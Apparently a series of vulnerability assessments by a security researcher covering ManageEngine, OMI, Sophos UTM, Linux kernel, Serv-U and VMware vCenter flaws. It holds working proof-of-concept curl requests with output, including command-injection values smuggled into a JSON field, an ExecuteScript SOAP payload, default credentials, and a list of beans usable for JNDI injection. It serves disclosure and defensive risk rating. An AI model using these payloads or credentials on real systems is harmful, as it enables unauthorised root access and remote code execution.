public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception { JSONObject responseObj = new JSONObject(); ADSResourceBundle rb = null; Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId(); try { rb = I18N.getInstance().getBundle(userId); JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE"); if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) { - String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory(); - String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null); - InputStream is = null; - OutputStream os = null; - try { - File inputFile = (File)fileDetails.get("FILE"); - is = new FileInputStream(inputFile); - os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName); - byte[] buffer = new byte[(int)inputFile.length()]; - int length; - while ((length = is.read(buffer)) > 0) - os.write(buffer, 0, length); - } catch (Exception fileException) { - logger.log(Level.INFO, "Exception while file operations", fileException); - } finally { - if (is != null) - is.close(); - if (os != null) - os.close(); + boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L); + if (isValidfileExtension) { + String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory(); + String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null); + InputStream is = null; + OutputStream os = null; + try { + File inputFile = (File)fileDetails.get("FILE"); + is = new FileInputStream(inputFile); + os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName); + byte[] buffer = new byte[(int)inputFile.length()]; + int length; + while ((length = is.read(buffer)) > 0) + os.write(buffer, 0, length); + } catch (Exception fileException) { + logger.log(Level.INFO, "Exception while file operations", fileException); + } finally { + if (is != null) + is.close(); + if (os != null) + os.close(); + } + String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName; + responseObj.put("FILE_NAME", fileName); + responseObj.put("FILE_URL", fileURL); + responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success")); } - String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName; - responseObj.put("FILE_NAME", fileName); - responseObj.put("FILE_URL", fileURL); - responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success")); } else { responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error")); } } catch (Exception e) { responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error")); logger.log(Level.INFO, e.getMessage(), e); } CommonUtil.setResponseText(response, responseObj.toString()); return null; }
package com.manageengine.ads.fw.common.util; import com.adventnet.iam.security.SecurityRequestWrapper; +import com.adventnet.iam.security.UploadFileRule; import com.adventnet.iam.security.UploadedFileItem; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.InputStreamReader; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.http.HttpServletRequest; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileItemFactory; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.commons.io.FilenameUtils; import org.json.JSONObject; public class FileUtil { private static Logger logger = Logger.getLogger("ADSLogger"); + public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] { + "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg", + "bmp", "svgz", "webp", "ico", "xbm", "dib" }; + + public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" }; + + public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" }; + + public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$"; + public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) { JSONObject json = new JSONObject(); File file = null; String fileName = null; Long fileSize = null; try { if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) { SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest; UploadedFileItem item = secrequest.getMultipartParameter(paramName); if (item != null) { file = item.getUploadedFile(); fileName = item.getFileName(); fileSize = Long.valueOf(item.getFileSize()); } json.put("FILE", file); json.put("FILE_NAME", fileName); json.put("FILE_SIZE", fileSize); } else { List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest); json = getFileFromMultipartRequest(multiparts, paramName); } } catch (Exception e) { logger.log(Level.INFO, "Error in getting the file from request "); } return json; } public static String getFileContent(File file, String delimiter) { BufferedReader bufRead = null; String ret = null; try { StringBuffer outBuf = new StringBuffer(); InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8"); bufRead = new BufferedReader(is); boolean startWrite = false; String line = bufRead.readLine(); while (line != null) { if (delimiter != null && !delimiter.equals("")) { if (line.contains(delimiter)) startWrite = true; if (startWrite) outBuf.append(line); if (line.contains("/" + delimiter)) startWrite = false; } else { outBuf.append(line); } line = bufRead.readLine(); } ret = outBuf.toString(); } catch (Exception e) { logger.log(Level.INFO, "", e); } finally { try { if (bufRead != null) bufRead.close(); } catch (Exception e) { logger.log(Level.INFO, "Error : " + e); } } return ret; } public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) { JSONObject file = new JSONObject(); try { for (FileItem item : multiparts) { if (!item.isFormField() && item.getFieldName().equals(paramName)) { String fileName = FilenameUtils.getName(item.getName()); File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); storeFile.deleteOnExit(); item.write(storeFile); file.put("FILE", storeFile); file.put("FILE_NAME", fileName); file.put("FILE_SIZE", item.getSize()); break; } } } catch (Exception e) { e.printStackTrace(); } return file; } + + public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) { + if (fileName != null) { + UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex); + return uploadFileRule.validateExtension(fileName); + } + return false; + } + + public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) { + return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } }
PoC
Note that I’ve already logged in. Default accounts/creds are available.
wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar * Trying 172.16.57.222:8080... * Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0) > POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1 > Host: 172.16.57.222:8080 > User-Agent: curl/7.80.0 > Accept: */* > Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 > Content-Length: 198 > Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55 > * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly < Cache-Control: no-cache, no-store < Pragma: no-cache < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-XSS-Protection: 1; mode=block < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < vary: accept-encoding < Content-Type: text/html;charset=UTF-8 < Content-Length: 155 < Date: Mon, 29 Nov 2021 03:44:11 GMT < Server: ADMP < * Connection #0 to host 172.16.57.222 left intact {"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt * Trying 172.16.57.222:8080... * Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0) > GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1 > Host: 172.16.57.222:8080 > User-Agent: curl/7.80.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly < X-XSS-Protection: 1; mode=block < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-FRAME-OPTIONS: SAMEORIGIN < Accept-Ranges: bytes < ETag: W/"4-1638157451470" < Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT < Content-Type: text/plain;charset=UTF-8 < Content-Length: 4 < Date: Mon, 29 Nov 2021 03:45:33 GMT < Server: ADMP < bar * Connection #0 to host 172.16.57.222 left intact wvu@kharak:~$
Default creds…
Please change all these creds! Only the admin
account is clearly documented.
admin
:admin
helpdesk
:admin
hrassociate
:admin
Technical Analysis
Please see the Rapid7 analysis.
Update: I have confirmed that ADManager Plus was also patched against CVE-2021-40539. See the release notes for build 7112. This doesn’t seem to affect /RestAPI/WC
endpoints.
Technical Analysis
RCE PoC using ExecuteScript
(multi-line shell script execution):
wvu@kharak:~/Downloads$ curl -vs http://127.0.0.1:5985/wsman -H "Content-Type: application/soap+xml" -d @payload.xml | xmllint --format - * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 5985 (#0) > POST /wsman HTTP/1.1 > Host: 127.0.0.1:5985 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/soap+xml > Content-Length: 1679 > Expect: 100-continue > * Done waiting for 100-continue } [1679 bytes data] * We are completely uploaded and fine < HTTP/1.1 200 OK < Content-Length: 1393 < Connection: Keep-Alive < Content-Type: application/soap+xml;charset=UTF-8 < { [1393 bytes data] * Connection #0 to host 127.0.0.1 left intact * Closing connection 0 <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"> <SOAP-ENV:Header> <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To> <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action> <wsa:MessageID>uuid:19754ED3-CC01-0005-0000-000000010000</wsa:MessageID> <wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo> </SOAP-ENV:Header> <SOAP-ENV:Body> <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:ReturnValue>TRUE</p:ReturnValue> <p:ReturnCode>0</p:ReturnCode> <p:StdOut> Hello Goodbye </p:StdOut> <p:StdErr/> </p:SCX_OperatingSystem_OUTPUT> </SOAP-ENV:Body> </SOAP-ENV:Envelope> wvu@kharak:~/Downloads$
payload.xml
:
<?xml version="1.0"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> <s:Header> <a:To>HTTP://127.0.0.1:5985/wsman/</a:To> <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI> <a:ReplyTo> <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> </a:ReplyTo> <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action> <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize> <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID> <w:OperationTimeout>PT1M30S</w:OperationTimeout> <w:Locale xml:lang="en-us" s:mustUnderstand="false"/> <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/> <w:OptionSet s:mustUnderstand="true"/> <w:SelectorSet> <w:Selector Name="__cimnamespace">root/scx</w:Selector> </w:SelectorSet> </s:Header> <s:Body> <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:Script>ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==</p:Script> <p:Arguments/> <p:timeout>0</p:timeout> <p:b64encoded>true</p:b64encoded> </p:ExecuteScript_INPUT> </s:Body> </s:Envelope>
Technical Analysis
Super easy to exploit. See CVE-2021-20021 for the first part of the chain.
Technical Analysis
Please see the Rapid7 analysis. Thank you to Jang (@testanull) for being a great collaborator. :)
Technical Analysis
Please see the Atredis writeup for root cause analysis.
CVE-2020-25223 has high attacker value and exploitability, since Sophos UTM is a next-generation firewall (NGFW), and the vulnerability offers unauthenticated attackers root access to a “network pivot” device, all through a single HTTP request, demonstrated below:
wvu@kharak:~$ curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|touch /tmp/vulnerable|"}' * Trying 172.16.57.254... * TCP_NODELAY set * Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example * start date: Feb 24 14:46:04 2015 GMT * expire date: Jan 24 14:46:04 2017 GMT * issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /var HTTP/1.1 > Host: 172.16.57.254:4444 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json; charset=UTF-8 > Content-Length: 33 > * upload completely sent off: 33 out of 33 bytes < HTTP/1.1 200 OK < Date: Thu, 26 Aug 2021 04:17:09 GMT < Server: Apache < Expires: Thursday, 01-Jan-1970 00:00:01 GMT < Pragma: no-cache < X-Frame-Options: SAMEORIGIN < Strict-Transport-Security: max-age=63072000; includeSubDomains; < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: application/json; charset=utf-8 < * Connection #0 to host 172.16.57.254 left intact {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0 wvu@kharak:~$
host:/root # ls -l /tmp/vulnerable -rw-r--r-- 1 root root 0 Aug 25 23:17 /tmp/vulnerable host:/root #
Checking for the vulnerability can be accomplished by injecting a sleep
command and timing the request’s completion:
wvu@kharak:~$ time curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|sleep 10|"}' * Trying 172.16.57.254... * TCP_NODELAY set * Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example * start date: Feb 24 14:46:04 2015 GMT * expire date: Jan 24 14:46:04 2017 GMT * issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /var HTTP/1.1 > Host: 172.16.57.254:4444 > User-Agent: curl/7.64.1 > Accept: */* > Content-Type: application/json; charset=UTF-8 > Content-Length: 20 > * upload completely sent off: 20 out of 20 bytes < HTTP/1.1 200 OK < Date: Thu, 26 Aug 2021 15:47:17 GMT < Server: Apache < Expires: Thursday, 01-Jan-1970 00:00:01 GMT < Pragma: no-cache < X-Frame-Options: SAMEORIGIN < Strict-Transport-Security: max-age=63072000; includeSubDomains; < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:; < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: application/json; charset=utf-8 < * Connection #0 to host 172.16.57.254 left intact {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0 real 0m10.114s user 0m0.020s sys 0m0.018s wvu@kharak:~$
Technical Analysis
CVE-2021-33909 has high attacker value because it is root privilege escalation in core functionality of the Linux kernel itself. Exploitability is a little lower, since it involves kernel memory corruption with particular requirements, but Qualys has indicated successful exploitation of several Linux distributions and versions, noting that distributions they haven’t tested may be equally exploitable out of the box. Mitigations do exist but do not fix the root cause. You’ll want to patch this one before a full exploit drops. (A crash PoC has already been released.)
Technical Analysis
(Edited for clarity only.)
Update: Paolo Stagno (VoidSec) has analyzed this vulnerability and posited that it is not exploitable beyond DoS. I agree with their analysis and have updated my ratings as a result. My pre-analysis assessment is preserved below. More details to come! Please see VoidSec’s assessment. :)
Local privilege escalation in an ancient yet widely distributed printer driver for Windows. Mis-bounded strncpy()
buffer overflow in kernel space, so exploitation requires skill and precision to pull off, though the vulnerability itself is incredibly straightforward. Could be a reliable root for years to come. Patch this normally and don’t freak out.
Technical Analysis
I looked at the patch briefly and confirmed this appears to be unauthenticated remote code execution, specifically of the memory corruption variety, in the SSH (SFTP) service that’s available to Serv-U. Note that services are opt-in for this product, so SSH would need to be enabled for this bug to be exploitable. However, since this vulnerability is being exploited in the wild (albeit in targeted attacks), you’ll absolutely want to patch it, particularly for a product that is likely to be exposed to the Internet.
Technical Analysis
Docked exploitability a point because a valid bean and method must be known. See the Rapid7 analysis for more context.
ETA: Cat’s out of the bag. JNDI injection PoC. I’ve confirmed it works. Here are all the beans you can use for this:
vsanCapabilityUtils_setVsanCapabilityCacheManager vsanFormatUtils_setUserSessionService vsanProviderUtils_setVmodlHelper vsanProviderUtils_setVsanServiceFactory vsanQueryUtil_setDataService vsanUtils_setMessageBundle vsphereHealthProviderUtils_setVsphereHealthServiceFactory
For reference, here are all the registered beans in my environment:
advancedOptionsService capabilityPropertyProviderImpl ceipService clusterDpConfigService cnManager computeInventoryService configureClusterService configureStretchedClusterService configureVsanClusterMutationProviderImpl connectionRetention dataAccessController dataService dataServiceExtensionRegistry datacenterInventoryService diskGroupMutationService diskManagementService dpClient dpFactory encryptionMutationProvider encryptionPropertyProvider execFactory execSettings guardRailPropertyProviderAdapter hciClusterService healthCheckDelay healthCheckTimeout legacyVsanObjectVersionProviderImpl localizedMessageBundle lookupSvcClient lsFactory lsLocator multiVmRestoreBacking mvcContentNegotiationManager mvcCorsConfigurations mvcHandlerMappingIntrospector mvcUriComponentsContributor networkInventoryService networkIpConfigProvider obfuscationController obfuscationService objectReferenceService org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#0 org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#1 org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#2 org.springframework.context.annotation.internalAsyncAnnotationProcessor org.springframework.context.annotation.internalAutowiredAnnotationProcessor org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.annotation.internalConfigurationAnnotationProcessor org.springframework.context.annotation.internalPersistenceAnnotationProcessor org.springframework.context.annotation.internalRequiredAnnotationProcessor org.springframework.context.annotation.internalScheduledAnnotationProcessor org.springframework.context.event.internalEventListenerFactory org.springframework.context.event.internalEventListenerProcessor org.springframework.format.support.FormattingConversionServiceFactoryBean#0 org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.handler.MappedInterceptor#0 org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver#0 org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver#0 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver#0 org.springframework.web.servlet.view.ContentNegotiatingViewResolver#0 pbmClient pbmDataProviderImpl pbmFactory permissionService physicalDisksService proactiveTestsService promoteActionController proxygenController purgeInaccessibleVmSwapObjectsProvider restoreWorkflowBacking sessionScheduler singleVmRestoreBacking ssoFactory taskService updateDbService userSessionService vcClient vcFactory vcPropertiesFacade virtualObjectsDataProtectionController virtualObjectsService vlsiSettingsTemplate vmConsistencyGroupPropertyProvider vmDataProtectionPropertyProviderAdapter vmDataProtectionSummaryController vmDataProtectionSyncPointsController vmDiskPlacementProvider vmFolderInventorySerivce vmInventoryService vmodlContext vmodlHelper vsanCapabilityCacheManager vsanCapabilityUtils_setVsanCapabilityCacheManager vsanClusterPropertyProviderAdapter vsanClusterPropertyProviderAdapterImpl vsanComponentsProviderImpl vsanConfigPropertyProviderAdapter vsanConfigPropertyProviderAdapterImpl vsanConfigService vsanDiskMappingsProvider vsanDpInventoryHelper vsanDpServicePitProvider vsanExecutor vsanFolderPropertyProviderAdapter vsanFolderPropertyProviderAdapterImpl vsanFormatUtils_setUserSessionService vsanHealthProviderImpl vsanHealthServiceMutationProviderImpl vsanHostPropertyProviderAdapter vsanIscsiInitiatorGroupMutationProviderImpl vsanIscsiInitiatorGroupPropertyProviderImpl vsanIscsiMutationProviderImpl vsanIscsiPropertyProviderImpl vsanIscsiTargetDataAdapter vsanIscsiTargetDataAdapterImpl vsanIscsiTargetMutationProviderImpl vsanIscsiTargetPropertyProviderImpl vsanMutationProviderImpl vsanObjectSystemProvider vsanPerfDiagnosticProviderImpl vsanPerfMutationProviderImpl vsanPerfProviderImpl vsanPropertyProviderImpl vsanProviderUtils_setVmodlHelper vsanProviderUtils_setVsanServiceFactory vsanQueryUtil_setDataService vsanResyncingComponentsProvider vsanResyncingComponentsRetriever vsanResyncingIscsiTargetComponentsProvider vsanServiceBundleActivator vsanServiceFactory vsanStretchedClusterMutationProviderImpl vsanStretchedClusterPropertyProviderImpl vsanSupportMutationProviderImpl vsanSupportProviderImpl vsanThreadPoolImpl vsanUpgradeMutationProviderImpl vsanUpgradePropertyProviderAdapter vsanUpgradeProviderImpl vsanUtils_setMessageBundle vsanVirtualDisksDataProvider vsanVirtualObjectsProvider vsanWorkerThreadFactory vsphereHealthProviderUtils_setVsphereHealthServiceFactory vsphereHealthServiceFactory vsphereHealthThreadPoolImpl vumLoginService vumPropertyProviderAdapter whatIfPropertyProviderAdapter whatIfPropertyProviderImpl witnessCandidateInventoryService witnessHostsProvider
Note that methodInput
is still limited somewhat limited by what ProxygenSerializer
can deserialize, so the JNDI injection via static method is good for arbitrary method invocation, callback notwithstanding. Jang (@testanull) points out that TypeConverter
can be leveraged to work around this issue. Jang’s writeup is here.
Update: A new RCE chain writeup involving SSRF has been published [by the original researcher].
https://twitter.com/wvuuuuuuuuuuuuu/status/1468418915994898434